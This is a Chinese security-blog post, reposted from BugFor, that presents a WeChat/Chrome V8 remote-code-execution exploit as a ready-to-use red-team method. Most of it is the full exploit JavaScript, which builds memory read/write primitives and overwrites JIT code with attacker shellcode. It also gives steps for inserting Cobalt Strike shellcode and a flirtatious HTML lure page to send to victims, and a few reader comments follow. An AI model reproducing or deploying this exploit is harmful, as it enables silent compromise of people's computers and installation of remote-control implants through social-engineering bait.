统计
  • 建站日期:2021-03-15
  • 文章总数:63 篇
  • 评论总数:51 条
  • 分类总数:14 个
  • 最后更新:2021年12月29日

hvv2021之微信 RCE漏洞结合chrome 0day红队使用方法

本文阅读 2 分钟
广告

先看图

测试时间 2021年4月17日6点4分

利用方法:

1.首先生成自己的shellcode代码,让js代码可以执行

生成好的shellcode如图

对shellcode进行处理

  • 将shellcode前后删除,删除双引号
  • 将 批量替换为 ,0
  • 注意逗号是英文逗号

将处理好的shellcode填充到js代码中

js代码为:

ENABLE_LOG = true;
IN_WORKER = true;
// run calc and hang in a loop
var shellcode = [这里放你自己的cs处理过的shellcode];
function print(data) {
}
var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});
for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}
var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;
function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}
function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}
function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;
    this.page_buffer = null;
    this.page_view = null;
    this.prevent_opt = [];
    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;
    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }
    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);
    new RegExp({ toString: function () { return 'a' } });
    cb(true);
    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );
            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }
    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }
        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }
        return DerivedN;
    })`);
    gc();
    new (derived_n(tDerivedNDepth))();
    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }
    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }
    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }
    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }
    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }
    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}
function trigger() {
    var oob = oobAccess();
    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));
    var kCodeInsOffset = 0x1b;
    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));
    oob.setBytes(code_addr, shellcode);
    target_function(0);
}
try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

将处理好的js代码写入html

<head>
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
</head>
<h1>来,宝,给你看个好东西</h1>
<script>
这里放你的js代码内容,直接复制过来
这里放你的js代码内容,直接复制过来
这里放你的js代码内容,直接复制过来
这里放你的js代码内容,直接复制过来
这里放你的js代码内容,直接复制过来
这里放你的js代码内容,直接复制过来
这里放你的js代码内容,直接复制过来
</script>

代码做好了,放入网站

然后抽取小姐姐

本文转载自:BugFor社区
原文链接:https://www.bugfor.com/vuls/vulnerability/6962.html

本文来自投稿,不代表本站立场,如若转载,请注明出处:https://www.cnhacker.cc/web_security/262.html
-- 展开阅读全文 --
hvv专题 | 蓝队溯源反制的一些小思路
« 上一篇 04-16
MVC框架审计之DOYOCMS完整审计
下一篇 » 04-18
广告

发表评论

V注册会员 L评论等级
R3 条回复
  1. 万里Lv.1 说道:
    2021-06-26     Win 10 /    Chrome

    站长gg有这个RCE复现环境吗?

    1. RAVENVLv.3 说道:
      2021-06-26     Win 10 /    Chrome

      @万里

      这个版本的微信exe我这边是没有,但是可以从网上找呀~记得拿到exe先杀波毒哈哈哈

      1. 万里Lv.1 说道:
        2021-06-26     Win 10 /    Chrome

        @RAVEN

        嘿嘿,谢谢师傅提醒,我可不想复测个洞就把自己交到别人CS上了~

没有更多评论了

作者信息

广告

动态快讯

热门文章

广告

标签TAG

热评文章